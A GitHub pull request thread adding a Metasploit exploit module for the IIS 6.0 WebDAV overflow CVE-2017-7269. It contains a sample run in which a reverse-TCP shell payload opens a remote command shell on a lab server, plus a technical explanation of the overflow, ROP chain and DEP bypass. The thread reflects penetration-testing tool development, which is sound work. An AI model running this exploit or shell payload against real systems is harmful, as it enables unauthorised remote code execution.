Add IIS 6.0 ScStoragePathFromUrl exploit (CVE-2017-7269) (follwoup)

[firefart]

This is a follow up PR to #8162

The new changes auto extracts all needed values and tries to bruteforce the path length.

This PR also contains the original commits so they are not lost.

Current Drawbacks:

• Sometimes the 2k3 Server needs a reboot
• windows/shell/reverse_tcp is not working (See Strange Stage Encoder behaviour #8357)

Sample run:

msf exploit(iis_webdav_scstoragepathfromurl) > options

Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   MaxPathLength  19               yes       End of physical path brute force
   MinPathLength  19               yes       Start of physical path brute force
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST          192.168.56.3     yes       The target address
   RPORT          80               yes       The target port (TCP)
   SSL            false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI      /                yes       Path of IIS 6 web application
   VHOST                           no        HTTP server virtual host


Payload options (windows/shell_reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.19.0.3       yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows Server 2003 R2 SP2


msf exploit(iis_webdav_scstoragepathfromurl) > run

[*] Started reverse TCP handler on 172.19.0.3:4444 
[*] Extracting ServerName and Port
[*] Using http_host http://192.168.56.3:80
[*] Trying path length of 19...
[*] Sending payload
[*] got a connection reset
[*] Command shell session 3 opened (172.19.0.3:4444 -> 172.19.0.1:41766) at 2017-05-08 22:21:32 +0000

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service

c:\windows\system32\inetsrv>

[rwhitcroft]

Don't suppose I could get my name back in here?

[wchen-r7]

oops

[firefart]

@rwhitcroft sure, what do you want in there? Nickname or real name?

[firefart]

@rwhitcroft found it on the other PR and added it. If you want smth. else, just ping me

[void-in]

All datastore options should be in capital.

[firefart]

is this really the case? seeing all kinds of variants in the modules folder. If it's a convention should we add an msftidy check for this? @wvu-r7

[void-in]

This style convention is documented at https://github.com/rapid7/metasploit-framework/wiki/How-to-use-datastore-options#ideal-datastore-naming

[wvu]

That's debatable, but yeah, that's typically the case. Normal options are uppercase (I like screaming snake), while advanced options are camel case.

[wvu]

msftidy can die in a fire.

[firefart]

@wvu-r7 screaming snake made my day haha changed the casing

[wwebb-r7]

As for the first payload, @bcook-r7 and @rwhitcroft were on the right path in the previous PR. As I said regarding the shellcode (the second payload), it's run through an alpha encoder. I'll link to it at the end.

@zcgonvh did a good job explaining considering the language barrier, hopefully I can clarify somewhat.
The gist of it is that the vulnerable memcpy is called multiple times within the code path the request takes it on. In the first case, it forgoes overwriting the return address and only overflows as much as it needs to overwrite the location pointed to by a local variable, which gets used as the destination address for the next iteration of memcpy. This address lies on the heap, and corresponds to the vftable of an IEcb object. This memcpy also handles loading the bulk of the exploit payload. When the corresponding virtual function pointer that was overwritten is called, the ROP chain is entered, and the exploit uses the SharedUserData technique to bypass DEP. From there on out, the shellcode is entered. It's a lot more clever than I could possibly describe it at 4AM.

You can find a more complete analysis--along with commented ROP gadgets and shellcode--than the one I was working on here. If you are fluent in Chinese, well, lucky you. If Google Translate is more your speed, replace the word "cover" with "overwrite" and things make a lot more sense.

Again, everything needed to document this can be found in the previous PR's conversation and the linked blog post. If someone still needs help in doing so, let me know.

EDIT: My mistake. The shellcode portion is actually documented better here. The page doesn't translate well but it's not necessary.

[egypt]

Verified with Meterpreter (staged) and shell (single) payloads. Thanks for all your great work on this, folks!

[alrosenthal-r7]

@wchen-r7 Can you please add release notes to this pr?

[wchen-r7]

Sure, I'll do it :-)

[wchen-r7]

Release Notes

The exploits/windows/iis/iis_webdav_scstoragepathfromurl module exploits a vulnerability against the IIS 6.0 web server. The ScStoragePathFromUrl in the WebDAV service is vulnerable to an overflow, which can be exploited and gain arbitrary remote code execution. The ability to automatically extract all needed values and bruteforce the path length has been added.

[busterb]

Tsk tsk @egypt

[egypt]

Oh, phooey. Shame on me

…

On Tue, May 16, 2017, 16:07 Brent Cook ***@***.***> wrote: Tsk tsk @egypt <https://github.com/egypt> — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub <#8355 (comment)>, or mute the thread <https://github.com/notifications/unsubscribe-auth/AARk38id_f8E_3OIo-WmiajSvWXR31jTks5r6g_-gaJpZM4NUe26> .